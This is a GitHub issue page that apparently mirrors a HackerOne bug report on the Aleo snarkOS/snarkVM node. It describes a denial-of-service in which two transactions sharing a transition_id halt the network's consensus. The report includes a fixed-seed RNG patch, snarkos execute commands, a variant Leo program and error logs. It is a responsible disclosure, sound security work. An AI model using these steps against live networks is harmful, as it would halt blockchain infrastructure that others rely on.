We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Two transactions contain the same transition_id in the single batch halt the network
1.Deploy a Leo program like below
program attack.aleo { transition main() -> public u32 { return 1u32; } }
2.Locally patch snarkvm code
https://github.com/AleoHQ/snarkVM/blob/testnet3/synthesizer/src/vm/execute.rs#L37
pub fn execute<R: Rng + CryptoRng>( &self, private_key: &PrivateKey<N>, (program_id, function_name): (impl TryInto<ProgramID<N>>, impl TryInto<Identifier<N>>), inputs: impl ExactSizeIterator<Item = impl TryInto<Value<N>>>, fee_record: Option<Record<N, Plaintext<N>>>, priority_fee_in_microcredits: u64, query: Option<Query<N, C::BlockStorage>>, rng: &mut R, ) -> Result<Transaction<N>> { /// *** Modify ***/// use rand::SeedableRng; let rng_same = &mut rand_chacha::ChaChaRng::seed_from_u64(0); /// *** Modify ***/// //***Modify `rng` -> `rng_same`***// let authorization = self.authorize(private_key, program_id, function_name, inputs, rng_same)?; // .... //***Modify `rng` -> `rng_same`***// let execution = self.execute_authorization_raw(authorization, query.clone(), rng_same)?; // Don't change the `rng` used to generate `fee_transition`
3.Use the patched snarkvm version to build snarkos
snarkvm
snarkos
4.Run the scripts twice to generate two transactions.
PROGRAM_NAME=attack.aleo FUNCTION_NAME=main PRIVATE_KEY=APrivateKey1zkp8CZNn3yeCseEtxuVPbDCwSyhGW6yZKUYKfgXmcpoGPWH snarkos developer execute \ --private-key ${PRIVATE_KEY} \ --query ${API_PREFIX} \ --priority-fee 100 $PROGRAM_NAME $FUNCTION_NAME \ --dry-run
5.Two transactions have the same transition_id of main, different transition_id of fee_public
main
fee_public
6.Broadcast two transactions at the same time, check the logs:
2023-12-13T06:55:13.976424Z ERROR BFT failed to advance the subdag for round 228 - Found a duplicate transition in block 97
self.ledger.prepare_advance_to_next_quorum_block
transition_id
self.ledger.check_next_block
Logs: https://github.com/ghostant-1017/logs/blob/master/log.tar.gz
The vulnerability will halt the network easily.
The text was updated successfully, but these errors were encountered:
program attack1.aleo { transition main() { } }
Program like this can skip the input_id and output_id checks, lead to the same transition_id or tcm.
Sorry, something went wrong.
TransitionID
Successfully merging a pull request may close this issue.
https://hackerone.com/reports/2282751
Summary
Two transactions contain the same transition_id in the single batch halt the network
Steps To Reproduce:
1.Deploy a Leo program like below
2.Locally patch snarkvm code
https://github.com/AleoHQ/snarkVM/blob/testnet3/synthesizer/src/vm/execute.rs#L37
3.Use the patched
snarkvm
version to buildsnarkos
4.Run the scripts twice to generate two transactions.
5.Two transactions have the same transition_id of
main
, different transition_id offee_public
6.Broadcast two transactions at the same time, check the logs:
Proof-of-Concept (PoC)
self.ledger.prepare_advance_to_next_quorum_block
doesn't check the transactions whether have the sametransition_id
.self.ledger.check_next_block
will check whether there are the sametransition_id
s.When the check fails, the transmissions will be reinserted.Supporting Material/References:
Logs: https://github.com/ghostant-1017/logs/blob/master/log.tar.gz
Impact
The vulnerability will halt the network easily.
The text was updated successfully, but these errors were encountered: